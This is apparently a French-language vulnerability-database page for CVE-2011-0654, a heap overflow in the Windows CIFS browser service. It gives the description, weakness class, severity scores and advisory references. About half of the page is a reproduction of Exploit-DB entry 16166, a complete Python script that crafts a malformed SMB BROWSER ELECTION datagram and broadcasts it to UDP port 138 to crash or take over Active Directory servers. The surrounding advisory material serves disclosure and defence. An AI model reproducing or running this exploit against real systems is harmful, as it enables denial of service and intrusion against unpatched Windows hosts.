CVE-2011-0654 : Détail

CVE-2011-0654

Overflow
95.82%V3
Network
2011-02-15 23:00 +00:00
2018-10-12 17:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Integer underflow in the BowserWriteErrorLogEntry function in the Common Internet File System (CIFS) browser service in Mrxsmb.sys or bowser.sys in Active Directory in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code or cause a denial of service (system crash) via a malformed BROWSER ELECTION message, leading to a heap-based buffer overflow, aka "Browser Pool Corruption Vulnerability." NOTE: some of these details are obtained from third party information.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16166

Date de publication : 2011-02-13 23:00 +00:00
Auteur : Cupidon-3005
EDB Vérifié : Yes

#################################################################################### #MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow #Release date: 2011-02-14 #Author: Cupidon-3005 #Greet: Winny Thomas, Laurent Gaffie, h07 #Bug: Heap Overflow #Remote Exploitability: Unlikely #Local Exploitability: Likely #Context: Broadcast, Pre-Auth ##################################################################################### #Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ... #Code will look something like this: #if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; } #-1 causes Len to go 0xFFFFFFFF #Feel free to reuse this code without restrictions... import socket,sys,struct from socket import * if len(sys.argv)<=4: sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""") ourip = sys.argv[1] host = sys.argv[2] srcname = sys.argv[3].upper() dstname = sys.argv[4].upper() ELEC = "\x42\x4f\x00" WREDIR = "\x41\x41\x00" def encodename(nbt,service): final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service return final def lengthlittle(packet,addnum): length = struct.pack("<i", len(packet)+addnum)[0:2] return length def lengthbig(packet,addnum): length = struct.pack(">i", len(packet)+addnum)[2:4] return length def election(srcname): elec = "\x08" elec+= "\x09" #Be the boss or die elec+= "\xa8\x0f\x01\x20" #Be the boss or die elec+= "\x1b\xe9\xa5\x00" #Up time elec+= "\x00\x00\x00\x00" #Null, like SDLC elec+= srcname+"\x00" return elec def smbheaderudp(op="\x25"): smbheader= "\xff\x53\x4d\x42" smbheader+= op smbheader+= "\x00" smbheader+= "\x00" smbheader+= "\x00\x00" smbheader+= "\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" smbheader+= "\x00\x00" return smbheader def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""): packetbrowser = pbrowser packetmailslot = "\x01\x00" packetmailslot+= "\x00\x00" packetmailslot+= "\x02\x00" packetmailslot+= lengthlittle(packetbrowser+namepipe,4) packetmailslot+= namepipe +"\x00" packetdatagram = "\x11" packetdatagram+= "\x02" packetdatagram+= tid packetdatagram+= inet_aton(ip) packetdatagram+= "\x00\x8a" packetdatagram+= "\x00\xa7" packetdatagram+= "\x00\x00" packetdatagramname = encodename(sname,srcservice) packetdatagramname+= encodename(dname,dstservice) smbheader= smbheaderudp("\x25") packetrans2 = "\x11" packetrans2+= "\x00\x00" packetrans2+= lengthlittle(packetbrowser,0) packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00" packetrans2+= "\x00" packetrans2+= "\x00\x00" packetrans2+= "\xe8\x03\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= "\x00\x00" packetrans2+= lengthlittle(packetbrowser,0) packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4) packetrans2+= "\x03" packetrans2+= "\x00" andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2) lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser packetotalength = list(packetfinal) packetotalength[10:12] = lengthbig(lengthcalc,0) packetrans2final = ''.join(packetotalength) return packetrans2final def sockbroad(host,sourceservice,destservice,packet): s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST,1) s.bind(('0.0.0.0', 138)) try: packsmbheader = smbheaderudp("\x25") buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet) s.sendto(buffer0,(host,138)) except: print "expected SDL error:", sys.exc_info()[0] raise sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410) print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2003 >> Version *

References

http://www.us-cert.gov/cas/techalerts/TA11-102A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/323172
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.exploit-db.com/exploits/16166
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0394
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1025328
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/46360
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2011/0938
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43299
Tags : third-party-advisory, x_refsource_SECUNIA
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.